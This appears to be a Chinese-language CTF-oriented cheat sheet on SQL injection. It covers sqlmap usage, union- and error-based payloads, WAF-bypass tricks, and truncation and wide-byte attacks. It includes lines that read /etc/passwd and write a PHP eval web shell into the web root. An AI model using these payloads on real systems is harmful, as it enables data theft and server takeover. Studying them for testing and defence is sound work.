SQL注入 WEB
SQL注入 WEB
-
SQL注入的定义
SQL注入主要的产生原因就是过度信任用户(大雾,SQL注入的主要产生原因就是用户输入的GET参数、POST参数等被开发者直接与SQL语句进行拼接,造成了可控SQL语句的现象,使得用户可以执行任意SQL语句
-
SQLMAP的使用
SQLMAP是SQL注入的一种非常强大的工具,可以极大程度减少手工注入的时间
一般KALI中会自带SQLMAP,当然大部分Linux都含有Python,然后安装SQLMAP即可,而在win10下,则需要个人配置好Python环境后,去SQLMAP github上下载后运行即可,其中xxxx代表参数
一些较常使用的参数
| -h | 最最最实用的参数,帮助文档 |
| :-----------: | :-----------------------------------------------------: |
| -u xxx | xxx代表url即对指定的url进行扫描,一般是GET参数 |
| -r xxx.txt | xxx.txt代表用burp抓包后保存的数据包文件,一般是POST参数 |
| --dbs | 查询数据库,这个好像和-current-db类似 |
| -D 数据库名字 | 指定数据库名进行操作 |
| --tables | 查询表 |
| -T 表名字 | 指定数据库表名进行操作 |
| --columns | 查询字段 |
| -C 字段名 | 指定字段名 |
| --threads=10 | 我一般设置10线程同时进行操作 |
| --users | 查询数据库的用户 |
| --level 3 | 提高查找漏洞的等级 |其实SQLMAP中还存在着一些小脚本,存在于tample文件夹下,可以通过--tample=xxx进行调用(因为我个人不常使用,使用的时候也是直接copy百度,没有过多的去了解过这些脚本的实现,这里不做介绍,有兴趣的可以自行查阅资料)
-
一般的SQL注入分类
一般的SQL注入大概分为两大种,分为有回显和没回显两种
-
有回显的注入
-
union联合搜索
?id = 1 order by x
?id = 1 ' union select 1 #
-
报错注入
-
updatexml
本质而言就是函数的报错所引起的
?id = 1 ' updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23
上为爆破数据库版本,具体爆破方法为更改内version
-
floor
本质是rand和order by或者group by的冲突
?id = 1 ' and (select 1 from (select count(),concat((select(select(select concat(0x7e,version(),0x7e))) from information_schema.tables limits 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)%23
-
exp
exp函数报错的本质原因是溢出报错
?id = 1' and exp(~(select * from (select user())x))%23
-
-
-
无回显的注入
无回显的注入主要是bool注入和基于时间的注入,漏洞课程具体介绍,因此不详细介绍,个人推荐时间注入最好借助SQLMAP进行操作
-
-
SQL常用的一些函数
select user() 当前用户 select version(),select @@version 数据库版本 select database() 数据库名 select @@version_compile_os 操作系统的版本 show variables 所有变量 order by 1...,group by 1.... 爆破字段数 select group_concat(schema_name) from information_schema.schemata 查库名 select group_concat(table_name) from information_schema.tables where table_schema='库名' 查表名 select group_concat(column_name) where information_schema.columns where table_name='表名' 查字段 select * from mysql.user limit n,m 读取某行 select load_file('/etc/passwd') 读取文件 select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php' 写一句话木马 截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1) 字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c'),LOCATE(substr,str,pos) //eg:select locate('a','abcd',2);a在abcd里面第几位 多行拼接:group_concat //eg: select group_concat(user) from mysql.user 时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等 编码函数: unhex、hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换) 布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')... 替换逗号: offset,from 1 for 1, 与或:& | 替换大于号小于号:bewteen ... and ... 和 in,not in -
SQL常用的一些绕过方法
-
绕过空格
%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)其中%09需要php环境,%0a为\n
/!select/为mysql独有。常见用法为/!50727select 1/,即当版本号小于等于50727时,执行select 1
-
绕过单引号
\转义、宽字节%df%27,%bf%27、十六进制绕过 -
注释方法
-
selcet from union select绕过
select-1,user from mysql.user select@1,user from mysql.user select~1,user from mysql.user select`user`,user from mysql.user select(1),user from mysql.user select'1',user from mysql.user select+1,user from mysql.user select 1,1e2from mysql.user select 1,.9from mysql.user select 1``from mysql.user select 1''from mysql.user select 1'123'from mysql.user select '1'''from mysql.user select 1""from mysql.user select "1"""from mysql.user select 1 from mysql.user where user=.1union select 1 select 1 from mysql.user where user=1e1union select 1 select 1 union--%0aselect 2 select 1 union--%0e%0aselect 2 select 1 union all select 2 -
set绕过
select '123' into @a select @a:='123' select 1 from mysql.user where @a:='123' do @a:='123' -
.绕过(点绕过)//select from等关键字绕过都可以用
select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from mysql.user' set @a concat('select user from mysql',char(46),'user');prepare a from @s;EXECUTE a; -
information_schema绕过
select table_name from mysql.innodb_index_stats 表名 select database_name from mysql.innodb_index_stats 库名 select table_name from mysql.innodb_table_stats 表名 select database_name from mysql.innodb_table_stats 库名 -
逗号绕过
select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf) select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x)
-
-
一些知识点
-
SQL约束攻击
在所有的INSERT查询中,SQL会根据varchar(n)来限制字符串的最大长度,因此如果字符串的长度大于n个字符的话,那么仅仅采用字符串的前n个字符,比如varchar(64)的admin,我可以注册一个admin+63个空格+a的密码为admin的,那么我输入admin,admin也就可以完成登录了
-
宽字节注入
所有英文占用一个字节,所有中文汉字占用两个字节,一个字符大小为一个字节成为窄字节,大小为两个字节的称之为宽字节
宽字节注入产生的原理
-
php发送请求mysql中使用了语句SET names ‘gbk’ SET character_set_client=gbk进行了依次gbk编码,但是又因为一些字符集导致宽字节注入
-
引入一个php防御函数
magic_quotes_gpc(魔术引号开关)
magic_quotes_gpc函数在php中的作用是判断用户输入的数据,在post,get,cookie传参中接收到的数据中加转义字符“\”,以确保这些数据不会引起程序出现致命性错误 -
magic_quotes_gpc的作用:
当php传参中有特殊字符就会在前面加转义字符\来做一定的过滤 -
为了绕过magic_quotes_gpc的 \ ,于是开始引入宽字节。
\:编码%5c ':编码%27 運:编码%df%5c -
大概如下图

-
常用注入方法为,在可能的注入点后键入%df
-
-
-
一些特殊的SQL注入
目前存在一些二次注入的CTF题,二次注入产生的原因是因为第一次注入的使用有WAF无法让我们实现注入,但这个数据再次取出的时候没有WAF,也就会出现二次注入,需要脚本
-
more

浙公网安备 33010602011771号